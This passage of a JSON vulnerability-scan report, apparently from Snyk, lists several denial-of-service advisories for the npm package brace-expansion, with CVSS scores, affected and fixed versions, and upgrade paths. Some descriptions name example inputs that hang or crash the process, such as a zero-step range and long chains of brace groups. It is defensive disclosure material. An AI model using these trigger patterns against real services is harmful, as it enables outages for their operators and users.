"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
